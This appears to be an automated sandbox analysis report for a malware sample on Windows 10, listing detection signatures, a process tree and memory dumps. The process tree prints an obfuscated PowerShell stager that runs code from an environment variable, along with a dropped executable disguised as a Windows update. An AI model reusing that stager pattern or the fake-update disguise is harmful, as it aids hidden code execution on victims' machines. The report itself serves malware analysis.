Analysis
- user interaction
yes - max time kernel
898s - max time network
777s - platform
windows10-2004_x64 - resource
win10v2004-20260911-es - resource tags
- submitted
25/09/2026, 10:51
General
- Target adagnbaerjsdoic.txt
- Size 69B
- Sample260925-mx4tmade89
- SHA256 6b581f741824e733237c8d7232c646d4e2c5209b7c7365795650887e3a1e8fca
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Opens file in notepad (likely ransom note) 1 IoCs
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: LoadsDriver 6 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\adagnbaerjsdoic.txt1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -nop -w 1 -c . ([type]('Script'+'Block'))::Create($env:u66ac63)2⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\update-KB5444785.exe"C:\Users\Admin\AppData\Local\Temp\update-KB5444785.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"1⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ModuleAnalysisCache
__PSScriptPolicyTest_mg1nw1qq.nvn.ps1
update-KB5444785.exe
memory/1876-54-0x00007FF72D5F0000-0x00007FF72D885000-memory.dmp
memory/1876-48-0x00007FF72D5F0000-0x00007FF72D885000-memory.dmp
memory/3300-52-0x0000023FE0170000-0x0000023FE0178000-memory.dmp
memory/3300-51-0x0000023FE01F0000-0x0000023FE0204000-memory.dmp
memory/3300-50-0x0000023FE01F0000-0x0000023FE0214000-memory.dmp
memory/3300-49-0x0000023FE01F0000-0x0000023FE021A000-memory.dmp
memory/3780-14-0x00000183FEBA0000-0x00000183FECA2000-memory.dmp
memory/3780-17-0x0000018381640000-0x0000018381650000-memory.dmp
memory/3780-23-0x0000018381640000-0x0000018381650000-memory.dmp
memory/3780-25-0x00000183FECB0000-0x00000183FECFA000-memory.dmp
memory/3780-26-0x00000183FEED0000-0x00000183FF092000-memory.dmp
memory/3780-27-0x00000183841E0000-0x0000018384708000-memory.dmp
memory/3780-28-0x00000183E66A0000-0x00000183E66BE000-memory.dmp
memory/3780-29-0x0000018381640000-0x0000018381650000-memory.dmp
memory/3780-18-0x0000018381640000-0x0000018381650000-memory.dmp
memory/3780-22-0x0000018381640000-0x0000018381650000-memory.dmp
memory/3780-16-0x00000183FEAE0000-0x00000183FEB56000-memory.dmp
memory/3780-15-0x00000183FEA90000-0x00000183FEAD4000-memory.dmp
memory/3780-2-0x0000018381640000-0x0000018381650000-memory.dmp
memory/3780-13-0x00000183E66D0000-0x00000183E66F2000-memory.dmp
memory/3780-12-0x00000183E6320000-0x00000183E6330000-memory.dmp
memory/3780-4-0x00000183E67A0000-0x00000183E6822000-memory.dmp
memory/3780-3-0x0000018381640000-0x0000018381650000-memory.dmp